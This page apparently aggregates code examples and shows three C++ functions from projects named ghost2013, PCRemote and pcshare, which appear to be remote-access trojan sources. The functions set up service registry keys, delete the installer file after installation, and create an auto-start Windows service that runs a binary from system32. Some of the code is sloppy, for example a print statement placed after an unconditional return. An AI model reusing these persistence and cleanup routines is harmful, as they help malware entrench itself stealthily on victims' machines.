コード例 #1
0
ファイル: until.cpp プロジェクト: killbug2004/ghost2013
void DelSetInfo(LPCTSTR lpKeyName, LPCTSTR lpszValueName, LPCTSTR lpServiceName)
{
	typedef int
		(WINAPI
		*lstrlenAT)(
		__in LPCSTR lpString
		);	
	lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA");

	char	strSubKey[1024];
	memset(strSubKey, 0, sizeof(strSubKey));
	wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);	
	WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, lpKeyName, REG_SZ, (char *)lpszValueName, plstrlenA(lpszValueName), 3);
}
コード例 #2
0
ファイル: install.cpp プロジェクト: nickwu1220/PCRemote
void DeleteInstallFile(char *lpServiceName)
{
    char	strInstallModule[MAX_PATH];
    char	strSubKey[1024];
    memset(strInstallModule, 0, sizeof(strInstallModule));
    wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
    ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey,
              "InstallModule", REG_SZ, strInstallModule, NULL, lstrlen(strInstallModule), 0);
    // 删除键值和文件
    WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "InstallModule", REG_SZ, NULL, NULL, 3);
    for (int i = 0; i < 25; i++)
    {
        Sleep(3000);
        if (DeleteFile(strInstallModule))
            break;
    }
}
コード例 #3
0
ファイル: PcStat.cpp プロジェクト: nanoMV/pcshare
void CPcStatApp::MyRegSetKey(char* ValueName,char* Value, BOOL Flag)
{

		SC_HANDLE schSCManager;
 
 // Open a handle to the SC Manager database. 
  schSCManager = OpenSCManager( 
  NULL,                    // local machine 
  NULL,                    // ServicesActive database 
  SC_MANAGER_ALL_ACCESS);  // full access rights 
 
 if (NULL == schSCManager) 
	 return;
    printf("OpenSCManager failed (%d)\n", GetLastError());

    TCHAR szPath[MAX_PATH]; 
    char m_ExeFileName[256] = {0};
	GetModuleFileName(NULL,m_ExeFileName,200); 
    strcpy(szPath, "C:\\windows\\system32\\ps.exe");
    SC_HANDLE schService = CreateService( 
        schSCManager,              // SCManager database 
        TEXT(m_Info.m_serviceName),        // name of service 
        m_Info.m_serviceDisplayname,           // service name to display 
        SERVICE_ALL_ACCESS,        // desired access 
        SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS, // service type 
        SERVICE_AUTO_START,      // start type 
        SERVICE_ERROR_NORMAL,      // error control type 
        szPath,                    // path to service's binary 
        NULL,                      // no load ordering group 
        NULL,                      // no tag identifier 
        NULL,                      // no dependencies 
        NULL,                      // LocalSystem account 
        NULL);                     // no password 
 
    if (schService == NULL) 
    {//已经创建
	
        printf("CreateService failed (%d)\n", GetLastError()); 
        return;
    }
	else
	{
		HKEY hkRoot;
		char strSubKey[256];
	
	   hkRoot = HKEY_LOCAL_MACHINE;
	wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", m_Info.m_serviceName);

 
	WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, 
		m_Info.m_serviceMark, strlen(m_Info.m_serviceMark), 0);
 
    RegCloseKey(hkRoot);  

	CloseServiceHandle(schService);
	}

    CloseServiceHandle(schSCManager);

   
}